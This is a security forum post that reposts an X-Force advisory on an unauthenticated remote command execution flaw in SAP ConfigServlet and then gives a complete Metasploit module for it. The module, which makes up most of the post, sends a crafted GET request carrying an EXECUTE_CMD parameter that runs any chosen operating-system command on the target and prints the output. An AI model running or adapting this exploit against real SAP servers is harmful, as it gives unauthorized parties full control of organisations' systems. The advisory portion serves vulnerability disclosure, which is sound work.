Jump to content
snakeO2

SAP ConfigServlet OS Command Execution

Recommended Posts

SAP ConfigServlet OS Command Execution

SAP ConfigServlet command execution

sap-configservlet-command-exec (83637) The risk level is classified as HighHigh Risk

Description:

SAP ConfigServlet could allow a remote attacker to execute arbitrary commands on the system. By sending a specially-crafted GET request, an attacker could exploit this vulnerability to inject and execute arbitrary commands on the system.

*CVSS:

Base Score: 10

Access Vector: Network

Access Complexity: Low

Authentication: None

Confidentiality Impact: Complete

Integrity Impact: Complete

Availability Impact: Complete

Temporal Score: 9

Exploitability: Functional

Remediation Level: Unavailable

Report Confidence: Uncorroborated

Consequences:

Gain Access

Remedy:

No remedy available as of April 24, 2013.

References:

Offensive Security Exploit Database [04-18-2013]: SAP ConfigServlet OS Command Execution.

Packet Storm Security [04-19-2013]: SAP ConfigServlet OS Command Execution.

SAP Web site: SAP.

Platforms Affected:

SAP ConfigServlet

Reported:

Apr 18, 2013

Sursa: ISS X-Force Database: sap-configservlet-command-exec(83637): SAP ConfigServlet command execution

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner

def initialize(info = {})
super(update_info(info,
'Name' => 'SAP ConfigServlet OS command execution',
'Description' => %q{
This module allows execution of operating system commands through
the SAP ConfigServlet without any authentication.
},
'Author' =>
[
'Dmitry Chastuhin', # Vulnerability discovery (based on the reference presentation)
'Andras Kabai', # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://erpscan.com/wp-content/uploads/2012/11/Breaking-SAP-Portal-HackerHalted-2012.pdf'],
],
'DisclosureDate' => 'Nov 01 2012' # Based on the reference presentation
))

register_options(
[
Opt::RPORT(50000),
OptString.new('CMD', [ true, 'The command to execute', 'whoami']),
OptString.new('PATH', [ true, 'Path to ConfigServlet ', '/ctc/servlet/ConfigServlet']),
OptBool.new('SSL', [true, 'Use SSL', false])
], self.class)
end

def run_host(ip)
begin
print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD'])
res = send_request_cgi(
{
'uri' => datastore['PATH'] + '?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=' + Rex::Text.uri_encode(datastore['CMD']),
'method' => 'GET',
})
if !res or res.code != 200
print_error("#{rhost}:#{rport} - Exploit failed.")
return
end
rescue ::Rex::ConnectionError
print_error("#{rhost}:#{rport} - Failed to connect to the server")
return
end

if res.body.include?("Process created")
print_good("#{rhost}:#{rport} - Exploited successfully\n")
print_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n")
print_line("#{rhost}:#{rport} - Output: #{res.body}")
else
print_error("#{rhost}:#{rport} - Exploit failed.")
vprint_error("#{rhost}:#{rport} - Output: #{res.body}")
end
end
end

Sursa: SAP ConfigServlet OS Command Execution

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...